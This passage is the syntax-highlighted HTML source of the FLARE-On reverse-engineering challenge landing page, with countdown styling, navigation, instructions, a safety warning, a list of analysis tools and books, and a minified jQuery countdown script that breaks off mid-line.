</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">height</span>: <span style="color:#ae81ff">80</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">font-size</span>: <span style="color:#ae81ff">35</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        .<span style="color:#a6e22e">points</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">float</span>: <span style="color:#66d9ef">left</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">width</span>: <span style="color:#ae81ff">20</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">font-size</span>: <span style="color:#ae81ff">20</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">font-weight</span>: <span style="color:#66d9ef">bold</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">text-align</span>: <span style="color:#66d9ef">center</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">line-height</span>: <span style="color:#ae81ff">70</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">text-shadow</span>: <span style="color:#66d9ef">none</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        .<span style="color:#a6e22e">position</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">position</span>: <span style="color:#66d9ef">relative</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">float</span>: <span style="color:#66d9ef">left</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">width</span>: <span style="color:#ae81ff">15</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">height</span>: <span style="color:#ae81ff">92</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">margin</span>: <span style="color:#ae81ff">8</span><span style="color:#66d9ef">px</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        .<span style="color:#a6e22e">digit</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">position</span>: <span style="color:#66d9ef">absolute</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">top</span>: <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">left</span>: <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        .<span style="color:#a6e22e">boxName</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">float</span>: <span style="color:#66d9ef">left</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">width</span>: <span style="color:#ae81ff">30</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">margin</span>: <span style="color:#ae81ff">45</span><span style="color:#66d9ef">px</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">-28</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">font-size</span>: <span style="color:#ae81ff">12</span><span style="color:#66d9ef">px</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">color</span>: <span style="color:#ae81ff">#a6a6a6</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        .<span style="color:#a6e22e">Hours</span> { <span style="color:#66d9ef">margin-left</span>: <span style="color:#ae81ff">5</span><span style="color:#66d9ef">px</span>; }
</span></span><span style="display:flex;"><span>        .<span style="color:#a6e22e">Seconds</span> { <span style="color:#66d9ef">margin-left</span>: <span style="color:#ae81ff">2</span><span style="color:#66d9ef">px</span>; }
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">style</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;container&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">&lt;!-- Title and Nav --&gt;</span>
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;img/flare-on.png&#34;</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">ul</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;list-inline&#34;</span>&gt;
</span></span><span style="display:flex;"><span>            &lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">onclick</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display_me(&#39;overview_div&#39;)&#34;</span>&gt;OVERVIEW&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>            &lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">onclick</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display_me(&#39;directions_div&#39;)&#34;</span>&gt;INSTRUCTIONS&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>            &lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">onclick</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display_me(&#39;advice_div&#39;)&#34;</span>&gt;RESOURCES&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>            &lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">onclick</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display_me(&#39;warnings_div&#39;)&#34;</span>&gt;TERMS <span style="color:#960050;background-color:#1e0010">&amp;</span> CONDITIONS&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>            &lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">onclick</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display_me(&#39;solved_div&#39;)&#34;</span>&gt;FIRST TO SOLVE&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;/<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;row&#34;</span>&gt;
</span></span><span style="display:flex;"><span>          &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;col-md-6&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>              &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;overview_div&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display:block&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                  &lt;<span style="color:#f92672">p</span>&gt;The FireEye Labs Advanced Reverse Engineering (FLARE) team is an elite technical
</span></span><span style="display:flex;"><span>                     group of malware analysts, researchers, and hackers. We are looking to hire smart
</span></span><span style="display:flex;"><span>                     individuals interested in reverse engineering. We have created this series of binary
</span></span><span style="display:flex;"><span>                     challenges to test your skills. We encourage anyone to participate and practice their
</span></span><span style="display:flex;"><span>                     skills while having fun!&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                  &lt;<span style="color:#f92672">p</span>&gt;At launch, a download link for the first challenge will show up here. The first
</span></span><span style="display:flex;"><span>                     challenge is a self-extracting zip file that requires you accept our End User
</span></span><span style="display:flex;"><span>                     License Agreement (EULA) before continuing.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>              &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>              &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;directions_div&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display:none&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                  &lt;<span style="color:#f92672">p</span>&gt;It’s simple: Analyze the sample, find the key.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>                  &lt;<span style="color:#f92672">p</span>&gt;Each key is an email address, simply email the email address and it will respond with the next binary challenge.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>                  &lt;<span style="color:#f92672">p</span>&gt;After completing the final challenge, you’ll win a prize and be contacted by a FLARE team member.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>              &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>              &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;warnings_div&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display:none&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                  &lt;<span style="color:#f92672">p</span>&gt;WARNING! Some of these challenges may be malicious.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>                  &lt;<span style="color:#f92672">p</span>&gt;Exercise extreme caution when executing unknown code.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>                  &lt;<span style="color:#f92672">p</span>&gt;Be safe and perform the analysis inside of a virtual machine.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>                  &lt;<span style="color:#f92672">p</span>&gt;The &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;&#34;</span>&gt;EULA&lt;/<span style="color:#f92672">a</span>&gt; describes the terms and conditions of these binaries.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>              &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>              &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;advice_div&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display:none&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                  &lt;<span style="color:#f92672">p</span>&gt;There are tons of tools out there to aid you in your analysis. Here are some suggestions:
</span></span><span style="display:flex;"><span>                      &lt;<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>                          &lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://www.hex-rays.com/products/ida/&#34;</span>&gt;IDA Pro&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                          &lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://www.ollydbg.de/&#34;</span>&gt;Ollydbg&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                          &lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://msdn.microsoft.com/en-us/library/windows/hardware/ff551063(v=vs.85).aspx&#34;</span>&gt;Windbg&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                          &lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://www.ntcore.com/exsuite.php&#34;</span>&gt;CFF Explorer&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                          &lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://www.hexworkshop.com/&#34;</span>&gt;Hex Workshop&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                          &lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://ilspy.net/&#34;</span>&gt;ILSpy&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                      &lt;/<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>                  &lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>                  &lt;<span style="color:#f92672">p</span>&gt;There are also many books out there that could help you. Here are some suggestions:
</span></span><span style="display:flex;"><span>                      &lt;<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>                          &lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://www.amazon.com/Practical-Malware-Analysis-Dissecting-Malicious/dp/1593272901&#34;</span>&gt;Practical Malware Analysis&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                          &lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://www.amazon.com/IDA-Pro-Book-Unofficial-Disassembler/dp/1593272898&#34;</span>&gt;IDA Pro Book&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                          &lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://www.amazon.com/Practical-Reverse-Engineering-Reversing-Obfuscation-ebook/dp/B00IA22R2Y&#34;</span>&gt;Practical Reverse Engineering&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                          &lt;<span style="color:#f92672">li</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;http://www.amazon.com/x86-Instruction-Set-Architecture-Shanley/dp/0977087859&#34;</span>&gt;x86 Instruction Set Architecture&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                      &lt;/<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>                  &lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>              &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>              &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;solved_div&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display:none&#34;</span>&gt;
</span></span><span style="display:flex;"><span>                  &lt;<span style="color:#f92672">p</span>&gt;Congratulations to all those that completed the FLARE On challenge!&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>                  &lt;<span style="color:#f92672">ol</span>&gt;
</span></span><span style="display:flex;"><span>                      &lt;<span style="color:#f92672">li</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                      &lt;<span style="color:#f92672">li</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                      &lt;<span style="color:#f92672">li</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                      &lt;<span style="color:#f92672">li</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                      &lt;<span style="color:#f92672">li</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                      &lt;<span style="color:#f92672">li</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                      &lt;<span style="color:#f92672">li</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                      &lt;<span style="color:#f92672">li</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                      &lt;<span style="color:#f92672">li</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                      &lt;<span style="color:#f92672">li</span>&gt;&lt;/<span style="color:#f92672">li</span>&gt;
</span></span><span style="display:flex;"><span>                  &lt;/<span style="color:#f92672">ol</span>&gt;
</span></span><span style="display:flex;"><span>              &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>          &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;col-md-6&#34;</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text-align:center&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display:inline-block;&#34;</span>&gt;&lt;<span style="color:#f92672">h3</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;margin-top:0px;margin-bottom:0px;&#34;</span>&gt;Launch Date&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/<span style="color:#f92672">h3</span>&gt;&lt;/<span style="color:#f92672">div</span>&gt;&lt;<span style="color:#f92672">br</span>/&gt;
</span></span><span style="display:flex;"><span>                &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;display:inline-block&#34;</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;counter&#34;</span>&gt;&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>          &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>        &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">display_me</span>(<span style="color:#a6e22e">show_me</span>) {
</span></span><span style="display:flex;"><span>            document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;overview_div&#39;</span>).<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">display</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;none&#39;</span>;
</span></span><span style="display:flex;"><span>            document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;directions_div&#39;</span>).<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">display</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;none&#39;</span>;
</span></span><span style="display:flex;"><span>            document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;warnings_div&#39;</span>).<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">display</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;none&#39;</span>;
</span></span><span style="display:flex;"><span>            document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;advice_div&#39;</span>).<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">display</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;none&#39;</span>;
</span></span><span style="display:flex;"><span>            document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;solved_div&#39;</span>).<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">display</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;none&#39;</span>;
</span></span><span style="display:flex;"><span>            document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#a6e22e">show_me</span>).<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">display</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;block&#39;</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/javascript&#34;</span>&gt;<span style="color:#f92672">!</span><span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">s</span>){<span style="color:#66d9ef">function</span> <span style="color:#a6e22e">a</span>(<span style="color:#a6e22e">a</span>){<span style="color:#a6e22e">a</span>.<span style="color:#a6e22e">addClass</span>(<span style="color:#e6db74">&#34;countdownHolder&#34;</span>),<span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">each</span>([<span style="color:#e6db74">&#34;Days&#34;</span>,<span style="color:#e6db74">&#34;Hours&#34;</span>,<span style="color:#e6db74">&#34;Minutes&#34;</span>,<span style="color:#e6db74">&#34;Seconds&#34;</span>],<span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">t</span>){<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">n</span>;<span style="color:#a6e22e">n</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Days&#34;</span><span style="color:#f92672">==</span><span style="color:#66d9ef">this</span><span style="color:#f92672">?</span><span style="color:#e6db74">&#34;DAYS&#34;</span><span style="color:#f92672">:</span><span style="color:#e6db74">&#34;Hours&#34;</span><span style="color:#f92672">==</span><span style="color:#66d9ef">this</span><span style="color:#f92672">?</span><span style="color:#e6db74">&#34;HRS&#34;</span><span style="color:#f92672">:</span><span style="color:#e6db74">&#34;Minutes&#34;</span><span style="color:#f92672">==</span><span style="color:#66d9ef">this</span><span style="color:#f92672">?</span><span style="color:#e6db74">&#34;MNTS&#34;</span><span style="color:#f92672">:</span><span style="color:#e6db74">&#34;SECS&#34;</span>,<span style="color:#a6e22e">s</span>(<span style="color:#e6db74">&#39;&lt;div class=&#34;count&#39;</span><span style="color:#f92672">+</span><span style="color:#66d9ef">this</span><span style="color:#f92672">+</span><span style="color:#e6db74">&#39;&#34;&gt;&lt;span class=&#34;position&#34;&gt;&lt;span class=&#34;digit static&#34;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;position&#34;&gt;&lt;span class=&#34;digit static&#34;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;boxName&#34;&gt;&lt;span class=&#34;&#39;</span><span style="color:#f92672">+</span><span style="color:#66d9ef">this</span><span style="color:#f92672">+</span><span style="color:#e6db74">&#39;&#34;&gt;&#39;</span><span style="color:#f92672">+</span><span style="color:#a6e22e">n</span><span style="color:#f92672">+</span><span style="color:#e6db74">&#34;&lt;/span&gt;&lt;/span&gt;&#34;</span>).<span style="color:#a6e22e">appendTo</span>(<span style="color:#a6e22e">a</span>),<span style="color:#e6db74">&#34;Seconds&#34;</span><span style="color:#f92672">!=</span><span style="color:#66d9ef">this</span><span style="color:#f92672">&amp;&amp;</span><span style="color:#a6e22e">a</span>.<span style="color:#a6e22e">append</span>(<span style="color:#e6db74">&#39;&lt;span class=&#34;points&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;countDiv countDiv&#39;</span><span style="color:#f92672">+</span><span style="color:#a6e22e">t</span><span style="color:#f92672">+</span><span style="color:#e6db74">&#39;&#34;&gt;&lt;/span&gt;&#39;</span>)})}<span style="color:#66d9ef">function</span> <span style="color:#a6e22e">t</span>(<span style="color:#a6e22e">a</span>,<span style="color:#a6e22e">t</span>){<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">n</span><span style="color:#f92672">=</span><span style="color:#a6e22e">a</span>.<span style="color:#a6e22e">find</span>(<span style="color:#e6db74">&#34;.digit&#34;</span>);<span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">n</span>.<span style="color:#a6e22e">is</span>(<span style="color:#e6db74">&#34;:animated&#34;</span>))<span style="color:#66d9ef">return</span><span style="color:#f92672">!</span><span style="color:#ae81ff">1</span>;<span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">a</span>.<span style="color:#a6e22e">data</span>(<span style="color:#e6db74">&#34;digit&#34;</span>)<span style="color:#f92672">==</span><span style="color:#a6e22e">t</span>)<span style="color:#66d9ef">return</span><span style="color:#f92672">!</span><span style="color:#ae81ff">1</span>;<span style="color:#a6e22e">a</span>.<span style="color:#a6e22e">data</span>(<span style="color:#e6db74">&#34;digit&#34;</span>,<span style="color:#a6e22e">t</span>);<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">i</span><span style="color:#f92672">=</span><span style="color:#a6e22e">s</span>(<span style="color:#e6db74">&#34;&lt;span&gt;&#34;</span>,{<span style="color:#e6db74">&#34;class&#34;</span><span style="color:#f92672">:</span><span style="color:#e6db74">&#34;digit&#34;</span>,<span style="color:#a6e22e">css</span><span style="color:#f92672">:</span>{<span style="color:#a6e22e">top</span><span style="color:#f92672">:</span><span style="color:#ae81ff">0</span>,<span style="color:#a6e22e">opacity</span><span style="color:#f92672">:</span><span style="color:#ae81ff">0</span>},<span style="color:#a6e22e">html</span><span style="color:#f92672">:</span><span style="color:#a6e22e">t</span>});<span style="color:#a6e22e">n</span>.<span style="color:#a6e22e">before</span>(<span style="color:#a6e22e">i</span>).<span style="color:#a6e22e">removeClass</span>(<span style="color:#e6db74">&#34;static&#34;</span>).<span style="color:#a6e22e">animate</span>({<span style="color:#a6e22e">top</span><span style="color:#f92672">:</span><span style="color:#ae81ff">0</span>,<span style="color:#a6e22e">opacity</span><span style="color:#f92672">:</span><span style="color:#ae81ff">0</span>},<span style="color:#e6db74">&#34;fast&#34;</span>,<span style="color:#66d9ef">function</span>(){<span style="color:#a6e22e">n</span>.<span style="color:#a6e22e">remove</span>()}),<span style="color:#a6e22e">i</span>.<span style="color:#a6e22e">delay</span>(<span style="color:#ae81ff">100</span>).<span style="color:#a6e22e">animate</span>({<span style="color:#a6e22e">top</span><span style="color:#f92672">:</span><span style="color:#ae81ff">0</span>,<span style="color:#a6e22e">opacity</span><span style="color:#f92672">:</span><span style="color:#ae81ff">1</span>},<span style="color:#e6db74">&#34;fast&#34;</span>,<span style="color:#66d9ef">function</span>(){<span style="color:#a6e22e">i</span>.<span style="color:#a6e22e">addClass</span>(<span style="color:#e6db74">&#34;static&#34;</span>)})}<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">n</span><span style="color:#f92672">=</span><span style="color:#ae81ff">86400</span>,<span style="color:#a6e22e">i</span><span style="color:#f92672">=</span><span style="color:#ae81ff">3600</span>,<span style="color:#a6e22e">o</span><span style="color:#f92672">=</span><span style="color:#ae81ff">60</span>;<span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">fn</span>.<span style="color:#a6e22e">countdown</span><span style="color:#f92672">=</span><span style="color:#66d9ef">function</span>(<span style="color:#a6e22e">c</span>){<span style="color:#66d9ef">function</span> <span style="color:#a6e22e">e</span>(<span style="color:#a6e22e">s</span>,<span style="color:#a6e22e">a</span>,<span style="color:#a6e22e">n</span>){<span style="color:#a6e22e">t</span>(<span 